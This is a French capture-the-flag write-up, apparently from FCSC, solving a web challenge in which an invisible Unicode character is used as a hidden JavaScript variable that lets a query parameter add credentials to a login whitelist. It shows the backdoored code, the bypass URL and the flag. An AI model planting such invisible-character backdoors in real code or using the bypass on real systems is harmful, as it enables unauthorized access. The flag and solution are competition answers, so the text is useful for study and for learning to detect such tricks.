Principe:
Trouver le bypass utilisant des caractères unicodes invisibles
Infos (cf menu latéral):
🚩 Flaggué! +232 points gagnés —
💾 Téléchargez les fichiers du challenge
FCSC{01122d1073f9d97090af9c7a53723a5c21a8946990afed9aa2557102b7771cde}
Le challenge
Le site et ses sources
Brute force
Au vu de la description du challenge et de la phrase "nous avons changé les mots de passe, mais les connexions continues", on peut se douter que cette piste ne marcherait pas
Prototype pollution?
xxd
xxd ou tout autre éditeur plutôt que gedit, j'aurai vu e385a4 après les virgulesPour autant, aurai-je flaggé? Pas sûr, car je n'aurai pas fait le lien avec les variables JS, et je n'aurai peut-etre pas considéré que ce caractère là, dans ce contexte là, représentait en fait une variable classique!
const { username, password,ㅤ} = req.query;
// We changed all those passwords after Mr. Martin left the company
const validUsers = [
'admin:W7tgTzWTFBDedWf+OhrrqfLgYAh7blYh0RuhakKLKqQ=',
'alice:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA=',
'bob:WsOfjLfA9phADg4FnzcUrtKOXc4hByHUsBpX02PvrSM=',ㅤ
];
const { username, password,hiddenUnicode} = req.query;
const validUsers = [
'admin:W7tgTzWTFBDedWf+OhrrqfLgYAh7blYh0RuhakKLKqQ=',
'alice:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA=',
'bob:WsOfjLfA9phADg4FnzcUrtKOXc4hByHUsBpX02PvrSM=',hiddenUnicode
];
On voit alors que si on utilise une URL avec un paramètre nommé hiddenUnicode et une valeur admin:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA= (ou tout autre hash dont on connaitrait le mot de passe), alors une nouvelle entrée sera rajoutée dans le tableau des validUsers
const validUsers = [
'admin:W7tgTzWTFBDedWf+OhrrqfLgYAh7blYh0RuhakKLKqQ=',
'alice:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA=',
'bob:WsOfjLfA9phADg4FnzcUrtKOXc4hByHUsBpX02PvrSM=',
'admin:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA='
];
…/login?username=admin&password=alice&%E3%85%A4=admin:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA%3D et hop, flagEvaluation partielle
validUsers: la variable hiddenUnicode n'étant pas définie, une erreur apparaitMerci à la personne du chat Discord (je ne sais plus qui…) qui m'a donné les indices pour cette résolution une fois le CTF terminé
Flag: FCSC{01122d1073f9d97090af9c7a53723a5c21a8946990afed9aa2557102b7771cde}